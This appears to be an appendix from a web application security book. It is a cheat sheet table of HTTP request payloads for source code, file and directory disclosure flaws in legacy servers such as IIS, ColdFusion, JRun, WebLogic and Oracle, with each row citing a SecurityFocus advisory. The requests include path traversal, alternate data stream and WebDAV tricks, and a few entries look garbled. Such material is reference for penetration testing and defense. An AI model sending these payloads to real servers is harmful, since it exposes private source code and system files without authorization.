Appendix D. Source Code, File, and Directory Disclosure Cheat Sheet

Appendix D. Source Code, File, and Directory Disclosure Cheat Sheet

This appendix contains a list of all the major source code disclosure techniques discovered over the years. Many of them are specific to particular bugs in particular versions of software. Others are generic across platforms and have been known to reappear contrary to what the vendors say.

Table D-1. Source Code, File, and Directory Disclosure Cheat Sheet
Vulnerable Application	HTTP Request	Vulnerability Information
Allaire ColdFusion	GET /CFDOCS/snippets/viewexample.cfm?viewexample.cfm Tagname=<relative path to CFM file> HTTP/1.0	http://www.securityfocus.com/bid/115
Allaire JRun Alternative Data Stream	GET /file.jsp::$DATA HTTP/1.0	http://www.securityfocus.com/bid/3664
Allaire JRun Server Side Include	GET /file HTTP/1.0 Content Length: <length of filename + 28> <! #include virtual="<filename>" >	http://www.securityfocus.com/bid/3589
Apache Tomcat %70	1. GET /file.js%70 HTTP/1.0 2. GET /file%252ejsp HTTP/1.0	http://www.securityfocus.com/bid/2527
BEA WebLogic Case Sensitive File Extension	1. GET /file.JSP HTTP/1.0 2. GET /file.jsP HTTP/1.0 3. GET /file.Jsp HTTP/1.0	http://www.securityfocus.com/bid/1328
BEA WebLogic 5.1 %70	GET /file.js%70 HTTP/1.0	http://www.securityfocus.com/bid/2527
BEA WebLogic FileServlet	GET /ConsoleHelp/file.jsp HTTP/1.0	http://www.securityfocus.com/bid/1518
BEA WebLogic /file/	GET /file/file.jsp HTTP/1.0	http://www.securityfocus.com/bid/1378
BEA WebLogic /*.shtml/	GET /*.shtml/file.jsp HTTP/1.0	http://www.securityfocus.com/bid/1517
IBM WebSphere Case Sensitive File Extension	1. GET /file.JSP HTTP/1.0 2. GET /file.jsP HTTP/1.0 3. GET /file.Jsp HTTP/1.0	http://www.securityfocus.com/bid/1328
IBM WebSphere /servlet/file/	GET /servlet/file/file.jsp HTTP/1.0	http://www.securityfocus.com/bid/1500
Microsoft IIS 4.0 + FAT Filesystem	GET /file.%E2%73%70 HTTP/1.0	http://www.securityfocus.com/bid/2909
Microsoft IIS 4.0 Alternative Data Stream	GET /file::$DATA HTTP/1.0	http://www.securityfocus.com/bid/149
Microsoft IIS +.htr	GET /file.asp+.htr HTTP/1.0	http://www.securityfocus.com/bid/1488
Microsoft IIS Translate: f	GET /file.asp HTTP/1.0 Translate: f	http://www.securityfocus.com/bid/1578
Microsoft IIS 3.0 %2e	GET /file%2easp HTTP/1.0	http://www.securityfocus.com/bid/1814
Microsoft IIS 2.0/3.0 Append "."	1. GET /file.asp. HTTP/1.0 2. GET /file.pl HTTP/1.0 3. GET /file.asp%2e HTTP/1.0 4. GET /file.pl%2e HTTP/1.0	http://www.securityfocus.com/bid/2074
Oracle /_pages/	GET /_pages/ HTTP/1.0	http://www.securityfocus.com/bid/
Sun Java Web Server .jhtml	1. GET /file.jhtml. HTTP/1.0 2. GET /file.jhtml\HTTP/1.0	http://www.securityfocus.com/bid/1891
File Disclosure Vulnerable Application	HTTP Request	Vulnerability Information
Allaire ColdFusion Server exprcalc.cfm	GET /cfdocs/expeval/ExprCalc.cfm?OpenFile Path=c:\file HTTP/1.0	http://www.securityfocus.com/bid/115
Allaire ColdFusion openfile.cfm	GET /cfdocs/expeval/openfile.cfm ?????????? HTTP/1.0	http://www.securityfocus.com/bid/115
Allaire ColdFusion sourcewindow.cfm	GET /cfdocs/exampleapp/docs/sourcewindow.cfm?Template=../../file HTTP/1.0	http://www.securityfocus.com/bid/115
Allaire JRun /servlet/	1. GET /servlet/ssiservlet/../../file HTTP/1.0 2. GET /servlet/com.livesoftware.jrun plugins.ssi.SSIFilter/../../file HTTP/1.0	http://www.securityfocus.com/bid/1833
Apache Web Server + PHP.EXE for Win32	GET /php/php.exe?c:\file HTTP/1.0	http://www.securityfocus.com/bid/3786
Apache Web Server + PHP3	GET /file.php3.%5c../..%5c<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/2060
Microsoft IIS Unicode	1. GET /scripts/..%c1%1c../<relative path to file> HTTP/1.0 2. GET /scripts/..%c0%9v../< relative path to file> HTTP/1.0 3. GET /scripts/..%c0%af../< relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/1806
Microsoft IIS Double Decode	GET /scripts/..%255c..%255c<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/2708
Microsoft IIS %20.htr	GET /file%20("%20" repeated 230 times).htr HTTP/1.0	http://www.securityfocus.com/bid/1191
Microsoft IIS idq.dll	GET /query.idq?CiTemplate=<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/968
Microsoft IIS showcode.asp	GET /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/167
Microsoft IIS codebrws.asp	GET /iissamples/exair/howitworks/ codebrws.asp?source=<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/167
Microsoft IIS viewcode.asp	1. GET /Sites/Knowledge/Membership/ Inspired/ViewCode.asp?source=<relative path to file> HTTP/1.0 2. GET /Sites/Knowledge/Membership/ Inspiredtutorial/ViewCode.asp?source=<relative path to file> HTTP/1.0	http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q231656&;
	3. GET /Sites/Samples/Knowledge/ Membership/Inspired/ViewCode.asp? source=<relative path to file> HTTP/1.0
Netscape Enterprise Server %20	GET /file%20 HTTP/1.0	http://www.securityfocus.com/bid/273
Netscape Enterprise Server /publisher	GET /publisher HTTP/1.0	http://www.securityfocus.com/bid/2416
Netscape Enterprise Server Win32 8.3 filename	Normal Request: GET /directory/ HTTP/1.0 Exploitative Request: GET /direct~1/ HTTP/1.0	http://www.securityfocus.com/bid/584
Directory Disclosure Vulnerable Application	HTTP Request	Vulnerability Information
Allaire JRun //WEB-INF/	GET //WEB-INF/ HTTP/1.0	http://www.securityfocus.com/bid/3662
Allaire JRun %3f	GET /%3f.jsp HTTP/1.0	http://www.securityfocus.com/bid/3592
Apache Web Server + Mac OS X .DS_Store	1. GET /.DS_Store HTTP/1.0 2. GET /.FBCIndex HTTP/1.0	http://www.securityfocus.com/bid/3316
Apache Web Server Multiview	1. GET /?M=A HTTP/1.0 2. GET /?S=D HTTP/1.0	http://www.securityfocus.com/bid/3009
Apache Web Server Long Slash	GET <1 to 4096 '/' characters> HTTP/1.0	http://www.securityfocus.com/bid/2503
Apache Web Server/cgi-bin/test-cgi	1. GET /cgi-bin/test-cgi?/* HTTP/1.0 2. GET /cgi-bin/test-cgi?* HTTP/1.0	http://www.securityfocus.com/bid/2003
BEA WebLogic /%00/	1. GET /%00/ HTTP/1.0 2. GET /%2e/ HTTP/1.0 3. GET /%2f/ HTTP/1.0 4. GET /%5c/ HTTP/1.0	http://www.securityfocus.com/bid/2513
Microsoft IIS 5.0 WebDAV	SEARCH / HTTP/1.1 Host: <hostname or ip address> Content-Type: text/xml Content-Length: 133 <?xml version="1.0"?> <g:searchrequest xmlns:g="DAV:"> <g:sql> Select "DAV:displayname" from scope() </g:sql> </g:searchrequest>	http://www.securityfocus.com/bid/1756
Microsoft IIS 3.0/4.0 BDIR.HTR	GET /scripts/iisadmin/bdir.htr??c:\HTTP/1.0	http://www.securityfocus.com/bid/2280
Netscape Enterprise Server INDEX	INDEX / HTTP/1.0	http://www.securityfocus.com/bid/2285
Netscape Enterprise Server /?wp-cs-dump	1. GET /?wp-cs-dump HTTP/1.0 2. GET /?wp-ver-info HTTP/1.0 3. GET /?wp-html-rend HTTP/1.0	http://www.securityfocus.com/bid/1063
Oracle Internet Application Server /WebDB/admin_/	GET /WebDB/admin_/ HTTP/1.0	http://www.securityfocus.com/bid/2171
Oracle 9i Application Server mod_plsql	GET /pls/sample/admin_/help/..%255 c<relative path to file> HTTP/1.0	http://www.securityfocus.com/bid/3727